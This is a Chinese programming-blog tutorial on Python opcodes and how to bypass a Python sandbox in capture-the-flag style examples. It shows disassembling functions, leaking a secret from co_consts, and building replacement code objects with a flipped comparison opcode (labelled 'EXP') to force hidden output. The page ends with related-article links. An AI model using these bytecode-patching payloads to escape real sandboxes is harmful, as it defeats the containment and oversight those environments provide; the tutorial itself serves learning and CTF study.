使用OpCode绕过Python沙箱的方法详解


Posted in Python onSeptember 03, 2019

0x01 OpCode

opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。

如何查看一个函数的OpCode?

def a():
 if 1 == 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

通过此方法我们可以得到a函数的OpCode

Opcode of a(): 6401006402006b020072140064030047486e000064000053

我们可以通过dis库获得相应的解析结果。

import dis

dis.dis('6401006402006b020072140064030047486e000064000053'.decode('hex'))

得到反编译的结果

0 LOAD_CONST          1 (1)
      3 LOAD_CONST          2 (2)
      6 COMPARE_OP          2 (==)
      9 POP_JUMP_IF_FALSE    20
     12 LOAD_CONST          3 (3)
     15 LOAD_BUILD_CLASS
     16 YIELD_FROM    
     17 JUMP_FORWARD        0 (to 20)
>>   20 LOAD_CONST          0 (0)
     23 RETURN_VALUE

常见的字节码指令

为了进一步研究OpCode,我们可以对dis的disassemble_string函数进行patch

在124行加入

print hex(op).ljust(6),

可以查看具体的字节码。

0 LOAD_CONST           0x64       1 (1)
      3 LOAD_CONST           0x64       2 (2)
      6 COMPARE_OP           0x6b       2 (==)
      9 POP_JUMP_IF_FALSE    0x72      20
     12 LOAD_CONST           0x64       3 (3)
     15 LOAD_BUILD_CLASS     0x47 
     16 YIELD_FROM           0x48 
     17 JUMP_FORWARD         0x6e       0 (to 20)
>>   20 LOAD_CONST           0x64       0 (0)
     23 RETURN_VALUE         0x53

变量

指令名 操作
LOAD_GLOBAL 读取全局变量
STORE_GLOBAL 给全局变量赋值
LOAD_FAST 读取局部变量
STORE_FAST 给局部变量赋值
LOAD_CONST 读取常量

IF

指令名 操作
POP_JUMP_IF_FALSE 当条件为假的时候跳转
JUMP_FORWARD 直接跳转

CMP_OP

cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')

其余的指令参考OpCode源码

0x02 利用OpCode改变程序运行逻辑

在Python中,我们可以对任意函数的__code__参数进行赋值,通过对其进行赋值,我们可以改变程序运行逻辑。

Example1

def a():
 if 1 == 2:
  print("flag{****}")

在沙箱环境中我们需要调用这个函数,但是此函数我们无法执行到print语句。因此我们需要通过某种方法得到flag

Solution 1

我们直接获取a.__code__.co_consts,查看所有的常量。即可知道flag

(None, 1, 2, 'flag{****}')

Solution 2

更改程序运行逻辑

CodeType构造函数

def __init__(self, argcount, nlocals, stacksize, flags, code,
     consts, names, varnames, filename, name, 
     firstlineno, lnotab, freevars=None, cellvars=None):

上述函数其余参数均可通过__code.__.co_xxx获得

因此我们

def a():
 if 1 == 2:
  print("flag{****}")

for name in dir(a.__code__):
 print name,getattr(a.__code__,name)

输出

co_argcount 0
co_cellvars ()
co_code ddkrdGHndS
co_consts (None, 1, 2, 'flag{****}')
co_filename example1.py
co_firstlineno 1
co_flags 67
co_freevars ()
co_lnotab

co_name a
co_names ()
co_nlocals 0
co_stacksize 2
co_varnames ()

构造相应目标代码

def a():
 if 1 != 2:
  print("flag{****}")

print "Opcode of a():",a.__code__.co_code.encode('hex')

得到code

6401006402006b030072140064030047486e000064000053

构造payload

def a():
 if 1 == 2:
  print("flag{****}")

newcode = type(a.__code__)
code = "6401006402006b030072140064030047486e000064000053".decode('hex')
code = newcode(0,0,2,67,code,(None, 1, 2, 'flag{****}'),(),(),"xxx","a",1,"")
a.__code__ = code

a()

即可输出flag

Example 2

def target(flag):
 def printflag():
  if flag == "":
   print flag
 return printflag

flag = target("flag{*******}")

这一次因为是通过变量传入参数,我们无法通过上一次读co_consts获得变量。但是我们这次依旧可以通过重写code获得flag。

构造替代函数

def target(flag):
 def printflag():
  if flag != "":
   print flag
 return printflag
a = target("xxx")
import types
code = a.__code__.co_code.encode('hex')
print code

EXP

newcode = type(flag.__code__)
code = "8800006401006b030072140088000047486e000064000053".decode('hex')
code = newcode(0,0,2,19,code,(None, ''),(),(),"example2.py","printflag",2,"",('flag',),())
flag.__code__ = code
flag()

➜  python example2exp.py
8800006401006b030072140088000047486e000064000053
➜  python example2.py  
flag{*******}

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
Python Tkinter基础控件用法
Sep 03 Python
Python正则表达式教程之三:贪婪/非贪婪特性
Mar 02 Python
利用Pycharm断点调试Python程序的方法
Nov 29 Python
python执行CMD指令,并获取返回的方法
Dec 19 Python
使用python Telnet远程登录执行程序的方法
Jan 26 Python
python之信息加密题目详解
Jun 26 Python
Python编程快速上手——疯狂填词程序实现方法分析
Feb 29 Python
如何在Python 游戏中模拟引力
Mar 27 Python
Python新手如何理解循环加载模块
May 29 Python
selenium.webdriver中add_argument方法常用参数表
Apr 08 Python
PO模式在selenium自动化测试框架的优势
Mar 20 Python
Python实现对齐打印 format函数的用法
Apr 28 Python
python实现单链表的方法示例
Sep 03 #Python
python中enumerate() 与zip()函数的使用比较实例分析
Sep 03 #Python
python网络编程之多线程同时接受和发送
Sep 03 #Python
springboot配置文件抽离 git管理统 配置中心详解
Sep 02 #Python
python生成随机红包的实例写法
Sep 02 #Python
Django发送邮件功能实例详解
Sep 02 #Python
python读取Excel表格文件的方法
Sep 02 #Python
You might like
php从csv文件读取数据并输出到网页的方法
2015/03/14 PHP
详解php用curl调用接口方法,get和post两种方式
2017/01/13 PHP
JavaScript 计算当天是本年本月的第几周
2009/03/22 Javascript
Javascript insertAfter() 实现函数代码
2011/10/12 Javascript
使用jquery mobile做幻灯播放效果实现步骤
2013/01/04 Javascript
屏蔽IE弹出&quot;您查看的网页正在试图关闭窗口,是否关闭此窗口&quot;的方法
2013/12/31 Javascript
用js代码和插件实现wordpress雪花飘落效果的四种方法
2014/12/15 Javascript
jQuery Validate初步体验(二)
2015/12/12 Javascript
学习JavaScript设计模式之责任链模式
2016/01/18 Javascript
jQuery插件ImageDrawer.js实现动态绘制图片动画(附源码下载)
2016/02/25 Javascript
JS面向对象编程详解
2016/03/06 Javascript
深入理解JavaScript中的call、apply、bind方法的区别
2016/05/30 Javascript
基于jQuery的ajax方法封装
2016/07/14 Javascript
ES6新增的math,Number方法
2017/08/06 Javascript
vue页面离开后执行函数的实例
2018/03/13 Javascript
vue使用高德地图根据坐标定位点的实现代码
2019/08/22 Javascript
JS实现audio音频剪裁剪切复制播放与上传(步骤详解)
2020/07/28 Javascript
基于jquery实现彩色投票进度条代码解析
2020/08/26 jQuery
[42:06]2019国际邀请赛全明星赛 8.23
2019/09/05 DOTA
Django rest framework工具包简单用法示例
2018/07/20 Python
python scp 批量同步文件的实现方法
2019/01/03 Python
Django中URL的参数传递的实现
2019/08/04 Python
HTML5 Canvas实现放大镜效果示例
2020/03/25 HTML / CSS
Lookfantastic挪威官网:英国知名美妆购物网站
2017/07/26 全球购物
英国家喻户晓的高街品牌:River Island
2017/11/28 全球购物
英国露营设备和户外服装购物网站:Simply Hike
2019/05/05 全球购物
求职自荐信格式
2013/12/04 职场文书
淘宝客服自我总结鉴定
2014/01/25 职场文书
会计助理岗位职责
2014/02/17 职场文书
2014年师德师风学习材料
2014/05/16 职场文书
建筑专业毕业生求职信
2014/09/30 职场文书
清洁员岗位职责
2015/02/15 职场文书
保险公司客户经理岗位职责
2015/04/09 职场文书
导游词之白茶谷九龙峡
2019/10/23 职场文书
Python爬虫实战之爬取京东商品数据并实实现数据可视化
2021/06/07 Python
Python采集壁纸并实现炫轮播
2022/04/30 Python